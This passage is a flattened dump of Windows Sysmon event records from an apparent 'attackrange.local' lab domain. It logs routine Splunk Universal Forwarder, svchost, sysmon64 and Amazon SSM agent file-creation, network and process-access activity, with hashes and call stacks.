Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000018692Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:32.652{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1EF619D74433BB4A90C15EC53E5197B8,SHA256=5EBCEDCAC19C71A01EB68E47FDEDDDF8576F5B6D139DAB196B8BD2E20D7EE857,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000058451Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:29.403{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63227-false10.0.1.12-8089- 23542300x800000000000000058450Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:32.194{7BD73061-65B2-613B-1100-00000000F001}432NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive0.datMD5=014E3AE3E381CECCA21CC426EC0772BD,SHA256=083CE34D4D8BFC6A837CE8B481D0CB6526B5881807075359A3B90ADC9939B381,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018691Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:32.511{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=6302A8ACECD782BC651C9D6FCEF2CB96,SHA256=9B4BD8C0D2CD8C1B6FCD2250C9F005EA797DBEDC61E2894B2E2030BB4845DE54,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018690Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:32.511{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=7C569BAF83E9A8290902F4625DB25D29,SHA256=DA995F819C16867769948E8A6416635A89555112BD955A4F582B8032EDAA3429,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018689Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:32.476{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\surveyor-20210910141303-057MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000018688Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:32.459{625C326B-75A4-613B-5305-00000000F101}724596C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018687Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:32.178{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-75A4-613B-5305-00000000F101}724C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018686Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:32.178{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018685Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:32.178{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018684Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:32.178{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018683Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:32.178{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018682Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:32.178{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018681Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:32.178{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018680Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:32.178{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018679Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:32.178{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018678Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:32.178{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018677Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:32.178{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-75A4-613B-5305-00000000F101}724C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000018676Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:32.178{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-75A4-613B-5305-00000000F101}724C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000018675Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:32.178{625C326B-75A4-613B-5305-00000000F101}724C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000018720Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:33.842{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-75A5-613B-5505-00000000F101}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018719Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:33.842{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018718Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:33.842{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018717Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:33.842{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018716Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:33.842{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018715Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:33.842{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018714Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:33.842{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018713Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:33.842{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018712Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:33.842{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018711Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 